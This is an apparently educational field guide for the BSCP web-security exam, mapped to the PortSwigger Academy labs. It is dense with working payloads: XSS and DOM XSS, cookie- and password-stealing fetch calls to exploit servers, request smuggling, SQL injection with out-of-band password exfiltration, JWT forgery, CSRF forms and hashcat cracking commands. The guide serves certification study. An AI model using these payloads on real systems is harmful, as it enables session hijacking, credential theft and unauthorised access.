A stage-by-stage field guide for the PortSwigger Burp Suite Certified Practitioner (BSCP) exam, organised the way the exam runs: Foothold → Privesc → Exfiltration. Every vulnerability class gets a "first look" triage block, copy-paste payloads mapped to the PortSwigger Academy labs, and a note on how the lab might be twisted on the exam, so you recognise the shape under time pressure.
- Exam overview
- Burp extensions
- Quick mental flow
- Recon — do this first on every target
- Stage 1 — Foothold
- Stage 2 — Privesc
- Stage 3 — Exfiltration
- Exfiltration techniques
- Resources and credits
The exam is three stages against two applications. Each stage gates the next.
- Stage 1 — Foothold: get any authenticated session.
- Stage 2 — Privesc: become the administrator.
- Stage 3 — Exfiltration: read
/home/carlos/secret.
The two users. There is always an administrator account with the username administrator, plus a lower-privileged account usually called carlos.
The victim bot. Each application has up to one active user, logged in either as a user or an administrator. Assume they visit the homepage every ~15 seconds and click any link in any email the application sends them. Use the exploit server's "Deliver to victim" function to target them with reflected vulnerabilities.
The file-read service. If you find an SSRF vulnerability, you can use it to read files by accessing an internal-only service running on localhost port 6566 — e.g. http://localhost:6566/home/carlos/secret.
Which topics appear in which stage:
Useful PortSwigger references:
- Wordlists — usernames
- Wordlists — passwords
- Labs wordlist
- Exam hints and guidance
- Obfuscating attacks using encodings
- XSS cheat sheet
- SSRF URL-validation bypass cheat sheet
Install from Burp's BApp Store (Extensions → BApp Store):
- ActiveScan++ — extends the active scanner with extra checks (Host header, SSTI, XXE, and more).
- Param Miner — guesses unkeyed headers, cookies, and hidden params (web cache poisoning, Host header, hidden-param bugs).
- HTTP Request Smuggler — auto-detects the smuggling variant and converts request bodies to chunked.
- JWT Editor — decode, edit, and sign JWTs;
algconfusion and jwk/jku/kid attacks. - Hackvertor — tag-based encoding and escaping (unicode/hex/octal, base64) for filter bypass.
- Java Deserialization Scanner — detect and exploit Java deserialization (integrates ysoserial).
- Server-Side Prototype Pollution Scanner — automates SSPP detection (
json spaces, etc.).
1. Recon ──► active scan + Param Miner, inspect JS, .git, content discovery
2. Stage 1 ──► any session
├─ XSS / DOM → steal the user's (carlos) session cookie
├─ Auth → brute force, host-header password reset
└─ Cache / smuggle / host header → steal session or bypass auth
3. Stage 2 ──► admin
├─ JWT / Deser type confusion (tamper your token)
├─ SQLi (dump admin password)
├─ CSRF / OAuth / CORS / Proto pollution (become admin)
└─ Access control (role param)
4. Stage 3 ──► read /home/carlos/secret
├─ SSRF → localhost:6566/home/carlos/secret
├─ Dir traversal / XXE (direct file read)
└─ Cmd inj / SSTI / Deser chain / File upload / SSPP (RCE)
Symptom → where to look
| Symptom in Burp | Section |
|---|---|
| Search/comment field reflects HTML or JS | XSS |
| Reflects only after URL fragment / postMessage | DOM-based |
| Login page, password field present | Authentication |
| Password-reset link contains the Host header | Host header |
X-Cache: / Age: / Via: headers |
Web cache poisoning |
| Multi-host pipeline, HTTP/2 front end | Request smuggling |
| Cookie/param in a SQL error or timing differs | SQL injection |
Session is eyJ... (JWT) |
JWT attacks |
Session is O:4:... / rO0... (serialised) |
Deser type confusion |
id=, userId=, role=, /admin |
Access control |
| Email/password-change endpoint | CSRF |
/oauth/callback, code=, redirect_uri= |
OAuth |
Access-Control-Allow-Origin reflects Origin |
CORS |
JSON body accepts __proto__ |
Proto pollution / SSPP |
| Param accepts a URL or hostname | SSRF |
filename=, path=, ?file= |
Directory traversal |
Body is XML / Content-Type: application/xml |
XXE |
| Param reaches a shell, OS error visible | OS command injection |
Param reflects {{}} / ${} / <%= %> execution |
SSTI |
| File / avatar upload | File upload |
Kick off an active Burp scan and start a couple of extensions (Param Miner) running, then work the manual passes below while they finish.
- Active scan — run an active scan in Burp, then targeted scans on any interesting fields or parameters it surfaces.
- Burp extensions — Param Miner → "Guess headers / cookies / params" to surface unkeyed headers and hidden parameters (feeds Web Cache Poisoning, Host header, and hidden-param bugs).
- View source + JS — inspect loaded
.jsfor DOM-XSS sinks (eval,innerHTML,document.write,location.hash/location.search) and any leaked secrets or comments. This is where you spot the DOM-XSS sources for Stage 1. - Exposed
.git—wget -r https://LAB-ID.web-security-academy.net/.git/, thengit log/git show <hash>for removed creds and deleted endpoints. - Content discovery —
ffuf -c -w burp-labs-wordlist.txt -u https://LAB-ID.web-security-academy.net/FUZZ(wordlist from the botesjuan repo).
Goal: a foothold — any authenticated session, which on the exam is the low-privileged user (carlos). Reach it by stealing their session (XSS, DOM, or HTTP request smuggling), hijacking their password reset via Host-header injection (the temporary token lands on your exploit server), brute-forcing login, or an auth bypass.
First look: Inputs that almost always reflect: search box (?search=, ?q=, ?find=), comment/feedback/contact form, user-profile fields (stored candidate), account-update endpoints, error pages, and the URL reflected in a canonical link or og:url meta tag.
Polyglot to drop first — one string that probes every common context; then grep the response for what survives:
'"><script>{{7*7}}${7*7}$(alert(1)}"-prompt(1)-"fuzzer
'">reflected literally in the body → unescaped HTML context. Try<script>alert(1)</script>or<img src=x onerror=alert(1)>.'">(HTML-encoded) → still exploitable in attribute or JS-string contexts.49(from7*7) → client-side template engine present. Pivot to{{$on.constructor('alert(1)')()}}.fuzzerinside<script>...</script>→ JS-string context. Break out with'-alert(1)-'or';alert(1)//.fuzzerinside an attribute →"onmouseover=alert(1)to break out, orjavascript:alert(1)in anhref/src.
Context cheat sheet — View source, find your input, the surrounding markup tells you the payload shape:
| Surrounding | Payload shape |
|---|---|
<p>YOURINPUT</p> (raw HTML body) |
<script>alert(1)</script> · <img src=x onerror=alert(1)> · <svg onload=alert(1)> |
<input value="YOURINPUT"> |
"><script>alert(1)</script> · " autofocus onfocus=alert(1) x=" |
<a href="YOURINPUT"> |
javascript:alert(1) |
<script>var x = "YOURINPUT";</script> |
";alert(1);// · "-alert(1)-" |
<script>var x = `YOURINPUT`;</script> (template literal) |
${alert(1)} |
Page has ng-app |
{{$on.constructor('alert(1)')()}} |
eval(... + YOURINPUT) in a JS file |
"-alert(1)}// |
Confirm → escalate. Once alert(1) fires: swap the alert for a cookie-exfil payload (see the cookie-theft section), wrap in a delivery payload for the exploit server, use "Deliver to victim", wait ~15s, then read the stolen cookie from the access log and swap it into your Burp session.
Not XSS but looks like it: CSP blocking (payload fires in your console but not for the victim — check Content-Security-Policy), DOM clobbering (reflection is from a JS sink, not server-side — see DOM-based).
Note
On the exam the context isn't handed to you like in the labs. Read View source, work out where your input lands, and match the payload shape to it. Filters usually stack (tags, attributes, and quotes blocked at once), so be ready to brute-force the allowed tags/events (labs 13/14) or go parenthesis-free (see restrictions bypass). And the goal is the victim's session cookie (carlos at this stage), not a popup: replace alert(1) with the exfil payload. Possible shape (JS-string context, cookie exfil):
'-fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie)-'Labs:
-
Reflected XSS into HTML context, nothing encoded:
GET /?search=<script>alert(1)</script>
-
Stored XSS into HTML context, nothing encoded (comment field):
<script>alert(1)</script>
-
DOM XSS in
document.writesink, sourcelocation.search:"><script>alert(1)</script>
-
DOM XSS in
innerHTMLsink (no<script>on modern browsers — useimg/iframe):<img src=x onerror=alert(1)>
-
DOM XSS in jQuery anchor
hrefsink (location.search→returnPath):https://LAB-ID.web-security-academy.net/feedback?returnPath=javascript:alert(1) -
DOM XSS in jQuery selector sink via
hashchange:<iframe src="https://LAB-ID.web-security-academy.net#" onload="this.src+='<img src=1 onerror=print()>'">
-
Reflected XSS into attribute, angle brackets HTML-encoded:
"onmouseover="alert(1) -
Reflected XSS into a JS string, angle brackets HTML-encoded:
'-alert(1)-' -
DOM XSS in
document.writeinside a select element:https://LAB-ID.web-security-academy.net/product?productId=1&storeId="><script>alert(1)</script> -
DOM XSS in AngularJS expression (angle brackets and double quotes encoded):
https://LAB-ID.web-security-academy.net/?search={{$on.constructor('alert(1)')()}} -
Reflected DOM XSS.
searchResults.jspasses the JSON response toeval():https://LAB-ID.web-security-academy.net/?search=\"-alert(1)}// -
Stored DOM XSS.
replace()only encodes the first<:<><img src=1 onerror=alert(1)>
-
Reflected XSS, most tags and attributes blocked. Brute-force allowed tags/events from the PortSwigger cheat sheet:
<iframe src="https://LAB-ID.web-security-academy.net/?search=<body onresize=print()>" onload=this.style.width='100px'>
-
Reflected XSS, all tags blocked except custom ones:
<script> location="https://LAB-ID.web-security-academy.net/?search=<xss autofocus onfocus=alert(document.cookie) tabindex=1>"</script>
-
Reflected XSS with some SVG markup allowed:
<svg><animatetransform onbegin=alert(1) attributeName=x dur=1s>
-
Reflected XSS in the canonical link tag (need a valid path first):
GET /post?postId=3&test='accesskey='X'onclick='alert(1)
-
Reflected XSS into a JS string, single quote and backslash escaped:
GET /?search='</script><img src=x onerror=alert(1)>
-
Reflected XSS into a JS string, angle brackets and double quotes encoded, single quotes escaped:
GET /?search=\'-alert(1)//
-
Stored XSS into
onclick, most things encoded/escaped.'is HTML-decoded before JS runs:http://foo?'-alert(1)-' -
Reflected XSS into a template literal, everything Unicode-escaped. No need to break out, just embed an expression:
GET /?search=${alert(document.domain)}
-
Steal cookies via stored XSS:
<script>new Image().src="https://YOUR-COLLAB.oastify.com/steal?c="+document.cookie;</script>
-
Capture passwords via stored XSS (auto-fill against the injected inputs):
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-COLLAB.oastify.com',{method:'POST',mode:'no-cors',body:username.value+':'+this.value});">
-
Bypass CSRF defences with XSS. Read the token, then fire the state change:
<script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/my-account',true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com'); }; </script>
First look: Look at anything using the URL fragment (#, never sent to the server — server-side scans miss it), postMessage / window.addEventListener('message', ...) handlers, AJAX results rendered into the DOM, and cookie-driven UI. Inspect /resources/js/*.js for eval, innerHTML, document.write, location.hash, location.search, setTimeout with a string arg.
Quick tests: add ?domxss / #domxss canary then View source; enable DOM Invader and set the canary; drop <>'"<svg onload=alert(1)> into params, hash, and postMessage payloads.
Confirmation: your input appears in the rendered DOM but NOT in the HTTP response body → DOM-based. If it appears in the response body, it is plain reflected XSS instead.
Note
The labs name the sink and source; the exam makes you dig them out of /resources/js/*.js yourself, or let DOM Invader find both. Watch the usual gotchas: innerHTML won't run a <script>, so reach for <img onerror> / <svg onload>, and if there's a postMessage listener, check its origin validator for indexOf / startsWith weaknesses. The final sink action has to exfil the cookie, not print(). Possible shape (web-message sink, cookie exfil):
<iframe src="https://LAB-ID.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=fetch(`https://YOUR-EXPLOIT.exploit-server.net/?c=`+document.cookie)>','*')">Labs:
-
DOM XSS using web messages:
<iframe src="https://LAB-ID.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')">
-
DOM XSS using web messages and a
javascript:URL:<iframe src="https://LAB-ID.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:>','*')">
-
DOM XSS using web messages and
JSON.parse:<iframe src="https://LAB-ID.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
-
DOM-based open redirection (
url=parsed out oflocationand used aslocation.href):https://LAB-ID.web-security-academy.net/post?postId=3&url=https://YOUR-EXPLOIT.exploit-server.net -
DOM-based cookie manipulation:
<iframe src='https://LAB-ID.web-security-academy.net/product?productId=5#'><script>print()</script>'>
First look: Login / register / password-reset / 2FA pages. Watch for different status codes or error bodies for valid vs invalid input, account-lockout messages (they leak which usernames exist), "remember me" cookies (usually base64 user identifiers), and login-response timing.
Quick tests: compare a valid username + wrong password against an invalid username + same wrong password (status, length, time); try wiener:peter (default lab account); add X-Forwarded-For: 127.0.0.{N} and rotate to defeat IP throttling; hit /login2 / any 2FA endpoint directly with Intruder (often unbound to the session that set up the challenge).
Note
The two accounts are still administrator and carlos. Username enumeration still helps confirm the exact login name from the app's tells (a different status code, error message, or response time). Rate-limit defences vary too: rotate X-Forwarded-For, work around a per-account lock, or hit the 2FA endpoint directly if it's unbound. And whenever you come across a "stay logged in" or an unusual-looking session cookie, try tampering with it to reach a privileged account.
Labs:
- Username enumeration. Differences in status codes, error messages, or response times.
- Flawed brute-force protection. Some implementations reset the failed-attempt counter when the IP owner logs in successfully. Include valid credentials at regular intervals throughout the wordlist so the limit is never reached.
- Enumeration via response timing. If the app trusts
X-Forwarded-For, rotate the IP while brute-forcing. Determine the valid username first with a long password to prolong the response:X-Forwarded-For: 127.0.0.{1} username={test}&password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- Enumeration via account lock. Trigger the lock by including every candidate username at least 5 times, then brute-force the password anyway and watch for the one response without the error message.
- 2FA broken logic. If the 2FA code is verified only on the dedicated endpoint and not bound to the session that issued it, iterate the verify step independently:
POST /login2 HTTP/2 Cookie: verify=carlos; session=YOUR-SESSION mfa-code=§0000§
- Brute-forcing a stay-logged-in cookie. The "remember me" cookie is often
username:md5(password), base64-encoded:echo 'd2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw' | base64 -d # wiener:51dc30ddc473d43a6011e9ebba6ca770 hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt
- Offline password cracking. Steal the victim's stay-logged-in cookie via XSS, base64-decode to
username:md5(password), then crack the MD5:<script>new Image().src="https://YOUR-COLLAB.oastify.com/steal?c="+document.cookie;</script>
- Password reset broken logic. Test: reset token leaking via
Refererto a third-party CDN, token reuse (some apps don't invalidate), ausernameparameter on the final submission that the app trusts over the token's bound user, and Host header poisoning (see Host header):POST /forgot-password HTTP/2 temp-forgot-password-token=VALID-TOKEN-FROM-OWN-RESET&username=carlos&new-password-1=hacked&new-password-2=hacked
First look: Password-reset flows (email link built from a base URL that may trust the Host header), any absolute URL in the response matching the Host value, Location: headers, <script src="//..."> with a dynamic host, and behaviour that depends on visiting via localhost.
Quick tests: change Host: to evil.com; add X-Forwarded-Host / X-Host / X-Forwarded-Server; try a double Host: header (Burp Inspector); try Host: localhost against /admin.
Note
Usually only one header is honoured, so test each candidate: Host, X-Forwarded-Host, X-Host, or a duplicate Host. For password-reset poisoning, request a reset for the victim and let your exploit-server log catch the token when the bot clicks the emailed link, then use it to reset their password and log in. Routing-based SSRF uses a randomised internal IP, so Intruder across 192.168.0.0/24. Possible shape:
POST /forgot-password HTTP/1.1
Host: YOUR-EXPLOIT.exploit-server.net
username=carlosLabs:
-
Basic password-reset poisoning. The Host header is reflected in the reset link; capture the token from your server log when the victim clicks:
Host: YOUR-EXPLOIT.exploit-server.net -
Host header authentication bypass:
GET /admin HTTP/2 Host: localhost
-
Web cache poisoning via ambiguous requests. A duplicate Host header is reflected as a script source:
GET / HTTP/1.1 Host: LAB-ID.h1-web-security-academy.net Host: " onerror=alert(document.cookie);>
-
Routing-based SSRF:
GET /admin HTTP/2 Host: 192.168.0.234
-
SSRF via flawed request parsing. Supply an absolute URL so modifying the Host no longer blocks the request:
GET https://LAB-ID.web-security-academy.net/admin HTTP/2 Host: 192.168.0.17
-
Host validation bypass via connection-state attack. Some servers only validate the first request on a new connection; send an innocent request first, then the malicious one down the same connection:
GET / HTTP/1.1 Host: LAB-ID.h1-web-security-academy.net
GET /admin HTTP/1.1 Host: 192.168.0.1
First look: Responses with X-Cache: hit, Age:, Cache-Control: public, max-age=..., Via:, CF-Cache-Status:. Static-looking paths (/, /blog, /resources/js/tracking.js) are aggressively cached. Vary: tells you what is keyed.
Quick tests: Param Miner → "Guess headers" / "Guess cookies" to find unkeyed inputs; add X-Forwarded-Host: evil.com and check for reflection; always add a cache-buster (?cb=12345) while testing so you don't poison real users; match the victim's User-Agent if Vary: User-Agent is present.
Note
The unkeyed input differs each time (a header, a cookie, or a query param), so let Param Miner ("Guess headers / cookies / params") find it. The reflection sink also changes (a script src, a redirect Location, or a JSON object), so shape the payload to wherever it lands. Cache-bust every probe (?cb=random) so you don't poison your own testing and can tell a hit from a miss. Possible shape:
GET / HTTP/2
Host: LAB-ID.web-security-academy.net
X-Forwarded-Host: a."><script>fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie)</script>Labs:
- Unkeyed header (Param Miner finds
X-Forwarded-Hostreflected and cached):GET / HTTP/2 Host: LAB-ID.web-security-academy.net X-Forwarded-Host: " onerror=alert(document.cookie);>
- Unkeyed cookie (
fehostreflected as a JS object):GET / HTTP/2 Host: LAB-ID.web-security-academy.net Cookie: session=YOUR-SESSION; fehost=</script><script>alert(1)</script>
- Multiple headers.
X-Forwarded-Hostused as a redirect location when the scheme is not HTTPS:GET /resources/js/tracking.js HTTP/2 Host: LAB-ID.web-security-academy.net X-Forwarded-Host: YOUR-EXPLOIT.exploit-server.net X-Forwarded-Scheme: nothttps
- Targeted poisoning using an unknown header (
Vary: User-Agentis keyed). Grab the victim's UA via an exploit-server image request first, then:GET /post?postId=3 HTTP/1.1 Host: LAB-ID.h1-web-security-academy.net X-Host: " onerror=alert(document.cookie);> User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 ... Chrome/125.0.0.0 Safari/537.36
- Unkeyed query string:
GET /?'/><script>alert(1);</script>
- Unkeyed query parameter (Param Miner → "Guess query params" finds
utm_content):GET /?utm_content='/><script>alert(1);</script>
- Parameter cloaking:
GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1)
- Fat GET request:
GET /js/geolocate.js?callback=setCountryCookie HTTP/2 callback=alert(1)
- URL normalization:
GET /test<script>alert(1)</script>
First look: Any front-end/back-end pipeline (CDN, load balancer, WAF, reverse proxy). Via: / X-Cache: / Server: differing between hops. HTTP/2-fronted, HTTP/1.1-backend stacks (the downgrade is where most modern smuggling lives). Endpoints that buffer a POST body are the most reliable targets.
Quick tests: install Burp's HTTP Request Smuggler → "Smuggle probe" (auto-tests CL.TE, TE.CL, TE.TE, H2.CL, H2.TE, CL.0). For HTTP/2, use Repeater HTTP/2 mode and CRLF-inject in a header value via the Inspector.
Tips: toggle Show non-printable characters to count bytes including the trailing sequence after 0; uncheck Update Content-Length in the Repeater menu.
Note
You won't be told the variant, so let the HTTP Request Smuggler extension probe for it (CL.TE, TE.CL, TE.TE, H2.CL, H2.TE, CL.0). The usual goal is to capture another user's request (their session cookie) or slip a request through to /admin. Getting the byte counts exactly right is fiddly: in TE.CL the smuggled block needs a correct hex chunk-size prefix (like 5c). Rather than working that out by hand, use the extension's convert-to-chunked feature, and uncheck "Update Content-Length" in Repeater.
Labs:
-
CL.TE:
POST / HTTP/1.1 Host: LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G
Switch HTTP/2 → HTTP/1 in the Request attributes section of the Inspector:
-
TE.CL. Include the trailing
\r\n\r\n:POST / HTTP/1.1 Host: LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
-
TE.TE. Obfuscate the TE header:
Transfer-Encoding: chunked Transfer-Encoding: x
Other obfuscations:
Transfer-Encoding: xchunked,Transfer-Encoding : chunked,Transfer-Encoding:[tab]chunked,Transfer-Encoding: chunked+ a second folded header. -
Confirming CL.TE via differential responses:
POST / HTTP/1.1 Content-Length: 49 Transfer-Encoding: chunked e q=smuggling&x= 0 GET /404 HTTP/1.1 Foo: x
-
Confirming TE.CL via differential responses. Smuggle a
GET /404. -
Front-end security-control bypass (CL.TE):
POST /home HTTP/1.1 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=
-
Front-end security-control bypass (TE.CL). Same idea with the TE.CL chunk framing.
-
Revealing front-end request rewriting. A smuggled request reflects a rewritten header such as
X-Custom-Ip: <FRONTEND-IP>; feed that header back with127.0.0.1to reach/admin. -
Capturing other users' requests. Position the storing parameter last; the victim's request (including their session cookie) lands in your comment:
POST / HTTP/1.1 Host: LAB-ID.web-security-academy.net Cookie: session=YOUR-SESSION Content-Length: 291 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: LAB-ID.web-security-academy.net Cookie: session=YOUR-SESSION Content-Length: 950 csrf=YOUR-CSRF-TOKEN&postId=6&name=Testing&email=test@testing.com&website=https://example.foo&comment=
-
Delivering reflected XSS via smuggling. Smuggle a request whose
User-Agentcarries the XSS payload. -
Response queue poisoning via H2.TE. Terminate the smuggled request with
\r\n\r\nafterx=. -
H2.CL request smuggling. Send an HTTP/2 request with a bogus
Content-Length, smuggling aGET /resourcestoward your exploit server. -
Request smuggling via CRLF injection. HTTP/2 header values can legally contain raw
\r\n; after downgrade the back-end parses them as header separators:foo bar\r\nTransfer-Encoding: chunkedAfter downgrade the back-end sees:
POST / HTTP/1.1 Host: LAB-ID.web-security-academy.net foo: bar Transfer-Encoding: chunked 0 SMUGGLED REQUEST HERE
-
HTTP/2 request splitting via CRLF injection:
-
CL.0 request smuggling. The back-end ignores the body's content-length on some paths:
POST /resources/images/blog.svg HTTP/1.1 Host: LAB-ID.web-security-academy.net Cookie: session=YOUR-SESSION Connection: keep-alive Content-Length: 50 GET /admin/delete?username=carlos HTTP/1.1 Foo: x
Recount Content-Length every time:
printf 'POST /admin HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1' | wc -cGoal: become administrator. Done by tampering tokens, changing your own role to admin (a
role/isAdminfield the app trusts), forging requests the admin makes, or extracting the admin's password.
First look: Params used as identifiers (id=, category=, order=, sort=, filter=), opaque-ID cookies (TrackingId=, LastViewed=), advanced-search filter fields, and headers logged into a DB (User-Agent, Referer, X-Forwarded-For).
Quick tests: append ' (look for a 500 / syntax error); ' OR '1'='1 vs ' OR '1'='2 (different sizes → boolean-based); '||pg_sleep(5)--, ';WAITFOR DELAY '0:0:5'--, ' AND SLEEP(5)-- (time-based across PostgreSQL / MSSQL / MySQL); for ORDER BY contexts, 1,2,3 to find the column count. Fingerprint the engine from the error (PostgreSQL, Oracle, MariaDB, Microsoft SQL Server).
UNION attacks. Determine the column count, then find a text-capable column:
' ORDER BY 1--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL-- (Oracle needs FROM DUAL)
' UNION SELECT 'a',NULL,NULL,NULL--Retrieve multiple values in one column, and examine the DB:
' UNION SELECT username || '~' || password FROM users--
' UNION SELECT @@version-- (Microsoft/MySQL)
' UNION SELECT BANNER,NULL FROM v$version-- (Oracle)
' UNION SELECT NULL,version()-- (PostgreSQL)Enumerate schema (essential when table/column names are randomised):
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'users_xxxx'Note
Once you've pinned down the vulnerable parameter, there's usually no need to hand-craft UNION or blind payloads on the exam. Point sqlmap at it and let it enumerate and dump for you (see the sqlmap commands section).
Labs (selected payloads):
- Retrieval of hidden data:
'+OR+1=1-- - Login bypass:
username=administrator'-- - Version on Oracle:
GET /filter?category='+UNION+SELECT+BANNER,NULL+FROM+v$version--
- Version on MySQL/Microsoft:
GET /filter?category='+UNION+SELECT+@@version,+NULL#
- Listing contents on non-Oracle (randomised names — enumerate first):
GET /filter?category='+UNION+SELECT+NULL,table_name+FROM+information_schema.tables-- GET /filter?category='+UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='users_xxxx'--
'+UNION+SELECT+username_yyyy,+password_zzzz+FROM+users_xxxx--
6–9. UNION column count / text column / other tables / concatenated values — as above.
10. Blind with conditional responses. Determine length, then each character:
sql ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a ' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§
Cluster Bomb the position and character in Intruder; filter to highlighted responses:

- Blind with conditional errors:
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
- Visible error-based:
PostgreSQL one-shot when an
Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--;ORDER BYparameter is reflected and errors come back verbatim:The cast error leaks the queried string straight into the response.GET /advanced_search?SearchTerm=test&organize_by=(SELECT+CAST((SELECT+password+FROM+users+LIMIT+1)+AS+int))&blogArtist=
- Time delays:
Cookie: TrackingId='||pg_sleep(10)-- - Time delays with retrieval:
'%3b SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,$1$,1)='$h$') THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users--
- OOB (DNS) interaction. Oracle:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-COLLAB.oastify.com/"> %remote;]>'),'/l')+FROM+dual-- - OOB data exfiltration. The admin password appears in the interaction subdomain:
...http://'||(SELECT password FROM users WHERE username='administrator')||'.YOUR-COLLAB.oastify.com/... - Filter bypass via XML encoding:
<storeId>1 UNION SELECT password FROM users WHERE username='administrator'</storeId>
First look: Session cookies or Authorization: Bearer values starting with eyJ, three dot-separated parts. Decode the header (alg, kid, jwk, jku) and payload (identity).
Quick tests: decode in JWT Editor (Burp extension); try alg: none (Attack → "none"); brute-force the secret with hashcat -m 16500; inspect jwk / jku / kid in the header.
Note
If alg:none is filtered, try case variants (None, NONE, nOnE). The tweak to watch for is algorithm confusion (RS256 → HS256): if you can fetch the server's RS256 public key (/jwks.json, /.well-known/jwks.json), forge an HS256 token signed with that public key as the HMAC secret. In JWT Editor, load the PEM as a symmetric key (base64 the PEM into k), set alg to HS256, change the payload to sub: administrator, and sign. jwk, jku, and kid are all the same idea (make the server trust a key you control), so confirm which header the app actually honours before generating keys.
Labs:
-
Flawed signature verification. If the signature isn't checked, edit the payload freely. If unsigned tokens are accepted, set
"alg":"none"(or use JWT Editor → Attack → "none" Signing Algorithm). -
Brute-forcing the secret. Recover the HMAC secret, then re-sign:
hashcat -a 0 -m 16500 <jwt> <wordlist>
Create a symmetric signing key from the recovered secret (JWT Editor → Symmetric Key) and sign with Don't modify header selected:
-
Header injection via
jwk. Embed a self-signed public key. Generate an RSA key pair in JWT Editor, add thejwkheader (matchingkid), or use Attack → Embedded JWK:{ "kid": "<key-id>", "typ": "JWT", "alg": "RS256", "jwk": { "kty": "RSA", "e": "AQAB", "kid": "<key-id>", "n": "<modulus>" } } -
Header injection via
jku. Host ajwks.jsonon your server and point thejkuheader at it (matchingkid): -
Header injection via
kid. Ifkidis path-traversable, force the server to use an arbitrary file as the verification key. Pointingkidat/dev/nulllets you sign with an empty key. JWT Editor can't sign with an empty string, so generate a symmetric key and setkto a base64 null byte (AA==):
First look: robots.txt / sitemap.xml for Disallow: /admin*; JS bundles for /admin, administrator, /api/admin, role names; identifier params (id=, userId=, uuid=, email=, /users/42); profile/settings responses that contain role fields the UI hides; multi-step flows where only an early step checks auth.
Quick tests: hit /admin, /admin-panel, /administrator, /api/admin as a low-priv user; add X-Original-URL: /admin / X-Rewrite-URL: /admin / X-Forwarded-URI: /admin; change the METHOD (POST → GET); tamper hidden roleid / isAdmin / permissions[] fields.
Note
The admin path is usually hidden or randomised, so find it with content discovery before assuming it's /admin. The privesc field name varies (roleid might be isAdmin, role=admin, admin=true, or a nested key), so read the response to learn the real field before tampering. IDOR identifiers are often GUIDs you have to harvest from another endpoint rather than guess. And header or method bypasses may need stacking (X-Original-URL, a method swap, or a Referer check).
Labs:
- Unprotected admin functionality.
robots.txtleaks/administrator-panel. - Unpredictable admin URL. Leaked in JS, e.g.
/admin-9ey3mj. - Role controlled by a request parameter:
GET /admin HTTP/2 Cookie: Admin=true; session=YOUR-SESSION
- Role modifiable in the user profile. Changing email exposes
roleid; add it to the body:POST /my-account/change-email HTTP/2 Cookie: session=YOUR-SESSION {"email":"test@test.com","roleid":2}
- User ID in a request parameter:
/my-account?id=administrator - User ID with unpredictable IDs. Harvest the GUID from another endpoint (a blog post) first:
/blogs?userId=69398d67-1cf9-4a9b-8399-8fc541e6d09b - User ID with data leakage in redirect. You get redirected to login, but the response body still contains carlos's data (
GET /my-account?id=carlos). - User ID with password disclosure. Change
id, read the password from source. - IDOR.
GET /download-transcript/1.txt. - URL-based access control circumvented:
GET / HTTP/2 X-Original-Url: /admin
- Method-based access control circumvented.
POST /admin-rolesreturns 401; use GET:GET /admin-roles?username=wiener&action=upgrade
- Multi-step process with no check on one step:
POST /admin-roles action=upgrade&confirmed=true&username=wiener
- Referer-based access control:
GET /admin-roles?username=wiener&action=upgrade Referer: https://LAB-ID.web-security-academy.net/admin
First look: State-changing endpoints (change email/password, delete account). Cookie attributes — SameSite=Strict is strongest; Lax (modern default) blocks cross-site POST but allows top-level GET; absent → fully exploitable. Look for hidden csrf= / _token= fields. "Change email" is usually the easiest privesc path (change admin's email → request password reset → take over).
Quick tests: Burp → Engagement tools → Generate CSRF PoC; remove the token entirely; replace with a token from your own session; swap POST → GET.
Note
The defence in play is the whole puzzle, so run the four quick checks first (drop the token, reuse your own token, swap the method, look at the SameSite attribute) before you build the PoC. The action you're forging may be a password change or add-admin rather than email, so read the real form fields. And if the cookie is SameSite=Strict, the simple auto-submit form won't carry it, so you'll need the sibling-domain (lab 9) or client-side-redirect (lab 8) chain.
Labs:
- No defences. Auto-submitting form:
<form action="https://LAB-ID.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com" /> </form> <script>document.forms[0].submit();</script>
- Token validation depends on method. Switch to GET (
GET /my-account/change-email?email=...); the token is then not required. - Token validation depends on token being present. Remove the
csrfparameter entirely (leaving it blank still gets checked). - Token not tied to session. Generate a PoC with an unused token from your own session.
- Token tied to a non-session cookie. Inject your
